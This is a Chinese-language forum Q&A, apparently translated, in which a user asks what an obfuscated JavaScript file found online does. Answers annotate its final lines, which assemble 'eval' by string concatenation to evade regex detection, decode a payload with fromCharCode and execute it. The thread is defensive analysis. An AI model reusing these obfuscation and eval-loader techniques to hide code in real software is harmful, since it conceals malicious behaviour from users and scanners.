2015-12-13 29 views
-4

我在網上找到這個JavaScript文件。這個JavaScript文件在做什麼?

這是文件的開始。

var oa3a28a = ""; 

function yd4e965b5fad4() { 

    var t538e19 = String; 
    var db7a0e0d5 = Array.prototype.slice.call(arguments).join(""); 
    var f38bc768 = db7a0e0d5.substr(1, 3) - 322; 
    var da49fad5; 
    var pe0cce; 
    var db7a0e0d5 = db7a0e0d5.substr(m1fe4220a()); 
    var s604bd1 = db7a0e0d5.length; 

    for(var g464f2c0 = 0; g464f2c0 < s604bd1; g464f2c0++){ 

    try{ 

     throw(mf5f1dc32 = db7a0e0d5.substr(g464f2c0,1)); 

    ... 

CodePen look JS

我認爲他竊取用戶數據並將其發送到服務器。

你覺得這個JavaScript文件最多是?

還是我錯了?

+0

這是不可能不看整個文件說。它被混淆了,所以它很可能會做一些「壞事」。 –

+0

'我認爲他竊取了用戶數據並將其發送到服務器。 你認爲這個JavaScript文件是否不知道,但我不傻,點擊鏈接找出。 –

+0

哈:))你看到這個鏈接到Codepen。大聲笑 – haacki47

回答

0

我不知道正是JavaScript做什麼,但看到最後幾行,我看到,它不會做任何事情好:

[0].split('i'); 

// In this line creates a variable called "eval" but with operators 
// It is used to make it undetectable by `RegExps` 
v = "ev" + "al"; } 

// Here declare an "e" variable with window["eval"] value (the eval function) 
if(v) e = window[v]; 
w = f; 
s = []; 
r = String; 

for(;692!=i;i+=1){ 
    j = i; 

    // Here an "s" variable is incremented using the String.fromCharCode mehod 
    s += r["fromC"+"harCode"](40 + 1 * w[j]); 
} 

// Here a variable "z" is declared with the value of "s" 
if(f) z = s; 

// Here the function eval is called using the "z" var as parameter 
e(z);